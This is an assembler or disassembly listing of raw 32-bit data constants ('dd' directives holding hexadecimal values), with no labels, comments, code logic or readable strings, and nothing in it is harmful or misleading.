		dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h
		dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h
		dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h
		dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h
		dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h
		dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h
		dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h,	89AC8E8Ah
		dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh
		dd 21D94001h, 96B3AD7h,	4DD5A64Fh, 0D567F011h, 2181F4A8h
		dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h
		dd 0C9E7111h, 1C946DDh,	7934096Dh, 0CE18603Fh, 0B7D3E14Bh
		dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h
		dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h,	539BD830h
		dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah,	783DE32Ch
		dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h
		dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh
		dd 89B043Ah, 0A9083F9h,	0F62DFB3Ah, 2DC33E81h, 0F19D528h
		dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh
		dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h,	0E71AB0C8h
		dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h,	359AF28Ch
		dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h
		dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh,	8C93CADEh
		dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h,	0D19C9AC9h
		dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch
		dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h
		dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h
		dd 0ABE81A0h, 9487E03h,	28C5400Dh, 0D3D8631Eh, 813FB1A0h
		dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h
		dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h
		dd 440C91Bh, 8E3DF2EBh,	2A2AA6A3h, 3F8CB9C3h, 0C058967h
		dd 39FCA5F2h, 73450DDh,	0AA216AB5h, 140E8A7Ch, 6DDAE004h
		dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh,	33D649B9h
		dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh,	0EC20D987h
		dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h
		dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h
		dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h
		dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h
		dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h,	0FBD23A19h
		dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h,	0DC568738h
		dd 8BF65F81h, 4FE3AFEh,	7B7126F1h, 2CFAAB3Ch, 0A9D8F041h
		dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh,	0F55705DDh
		dd 781D82Ah, 27D58967h,	8C47FBBAh, 0E034ED5Dh, 0E34FEA47h
		dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch
		dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh
		dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h
		dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h,	0C5590FA7h
		dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h
		dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h
		dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h
		dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h,	7304DD0Fh
		dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h,	34C9B828h
		dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h
		dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h
		dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh
		dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h
		dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh
		dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h,	0CEEBC74Fh
		dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h
		dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h,	0A5E0E4BBh
		dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch,	44A05ED6h
		dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h
		dd 79B09B5Fh, 96795A9h,	0C6B65AFAh, 0B37B2BEEh,	0BF662DE6h
		dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh
		dd 45148196h, 39B05CEh,	6D2E4517h, 0EEB60BC5h, 26F73682h
		dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh
		dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h
		dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch,	3D658F1Eh
		dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h
		dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h
		dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h
		dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh,	0BD71BEFAh
		dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh
		dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch
		dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h,	99FFEAA1h
		dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h
		dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh,	6AE37D32h
		dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h
		dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh
		dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h,	5F58E3Ah
		dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h
		dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh
		dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h,	0F417201Ch
		dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh
		dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h,	5DA19E0h
		dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah
		dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh
		dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh
		dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h
		dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh
		dd 97E71300h, 6688A54Fh
		dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh
		dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h,	8A988AB3h
		dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h
		dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h,	0E55FB898h
		dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h
		dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h,	282BE400h
		dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh
		dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h,	6933A45Bh
		dd 5F48D97Eh, 96BD682h,	0D2FD64Ah, 16F11365h, 7F733092h
		dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h,	0CD5852A1h
		dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh
		dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h,	221A27C2h
		dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h,	0A976B7D8h
		dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h,	0FD6C7B1Ch
		dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh,	3D4500EFh
		dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh,	9E7A20EFh
		dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h
		dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h
		dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh
		dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch,	0DE854992h
		dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh,	71A855C4h
		dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h
		dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h,	0DF9DEF5Eh
		dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh
		dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h,	2FEA5496h
		dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h
		dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh,	0CD5D5279h
		dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h
		dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah,	8B5E8686h
		dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh
		dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h
		dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h
		dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch
		dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh
		dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch
		dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h
		dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh
		dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh,	820C793Fh
		dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h
		dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh
		dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h,	254E8146h
		dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh
		dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h
		dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh,	3C52FCB1h
		dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh
		dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh
		dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h
		dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh,	0B28CF569h
		dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h,	0F73953D2h
		dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h
		dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h,	0ED14EE4Ah
		dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h
		dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h
		dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh
		dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h
		dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh,	0CD5B21Eh
		dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh
		dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h
		dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h
		dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h
		dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h,	92DDE65Fh
		dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh
		dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh,	0AB69D028h
		dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h
		dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h
		dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh
		dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h,	6BFA2E74h
		dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h
		dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh,	0E8558D2Dh
		dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah,	0DABF4DC8h
		dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh
		dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah
		dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh
		dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah,	65FF967Fh
		dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h,	17FEAB84h
		dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h
		dd 0DF4FAB5h, 8D924D3h,	135033EBh, 15D77893h, 89A033FEh
		dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h
		dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h
		dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h,	0A906CE6h
		dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah
		dd 834C2C60h, 52FFC43h,	1E98AB59h, 9959ED59h, 0FB0ABD2Dh
		dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h,	4425A545h
		dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h
		dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh
		dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h
		dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h
		dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh,	0B134BCACh
		dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h
		dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h,	7152783Dh
		dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh
		dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh,	795D0C32h
		dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h,	0CB22D362h
		dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh,	0F3258B55h
		dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h
		dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h
		dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h
		dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh,	1BCA7E30h
		dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h,	0B351D07Bh
		dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h,	0ED3B42F2h
		dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch
		dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh,	26AF0589h
		dd 4DE0EC55h, 0BDFE46DBh
		dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h,	3EB18CBBh
		dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh,	9FA3236Bh
		dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch
		dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h,	0BF9498B8h
		dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh,	3081FAC0h
		dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch,	8E5A358Fh
		dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h
		dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h
		dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h,	8347BDAAh
		dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h,	0A7DC1A94h
		dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h
		dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh,	948D7C21h
		dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h
		dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh
		dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h
		dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h
		dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h
		dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch
		dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah
		dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h
		dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h
		dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh,	0E67C98CEh
		dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh
		dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh,	0A69B9A6Eh
		dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h
		dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h
		dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h,	5E871486h
		dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh,	0CA63E530h
		dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah,	0D90F6727h
		dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h,	9A474668h
		dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h
		dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h
		dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh,	551C9933h
		dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh
		dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h,	88259E95h
		dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h,	59BC87E8h
		dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh
		dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h
		dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh,	0C706B0D6h
		dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h,	31C4A615h
		dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h
		dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h
		dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h
		dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h
		dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h
		dd 471DA41h, 91AAC392h,	538A6E1Ch, 0B3CE1758h, 4C326D7h
		dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh
		dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh
		dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h
		dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h,	2B68996Ch
		dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h,	921A25FDh
		dd 59C625CFh, 7CFD26Ah,	0C41B9B19h, 83BF775h, 53F224F6h
		dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh,	71ED96A2h
		dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h,	0EC67635Ah
		dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh
		dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h
		dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h,	253EF53Dh
		dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h,	0FF3DF113h
		dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh
		dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h
		dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh,	0D943CB13h
		dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h
		dd 65AFC3Eh, 679B7533h,	0EA6028A8h, 8109222Bh, 0FA9F2104h
		dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h
		dd 32F450h, 0FBBB7037h,	521C09BFh, 0C8DCA069h, 0D94889CAh
		dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h,	0D9B18946h
		dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h,	6299A47h
		dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h
		dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h
		dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch,	3A2A4B09h
		dd 7828DF5h, 1DCCBF3Dh,	0B8C2510Bh, 5E5D68A1h, 14F554C6h
		dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch
		dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h
		dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h
		dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h,	4A8B0F44h
		dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h,	1024758Ch
		dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h
		dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h,	0E668B745h
		dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh
		dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h
		dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h
		dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h
		dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h
		dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh,	0BA446A46h
		dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh
		dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h
		dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h,	63D16643h
		dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h,	0D2BA3262h
		dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h,	2B10F208h
		dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh,	0F580323Ch
		dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h,	9878D96Eh
		dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah
		dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh
		dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah
		dd 383C06ECh, 27D28E6h,	3537A961h, 0FB99DB82h, 2D8C14DAh
		dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h
		dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h,	0F013D72Eh
		dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h
		dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h
		dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h,	379BDCCDh
		dd 84D91C5h, 1926A60Dh,	1B1DCBAEh, 45E154F8h, 0F6EE842Eh
		dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh
		dd 0D436921Ah, 5C04B89Fh
		dd 7FB9E05h, 4B173F7Eh,	10A4DADAh, 82FB825Bh, 0E5C88043h
		dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h,	727A8D16h
		dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h
		dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h
		dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch,	3BF60DDh
		dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h
		dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h,	7A8D3AFCh
		dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h
		dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h,	3A50A655h
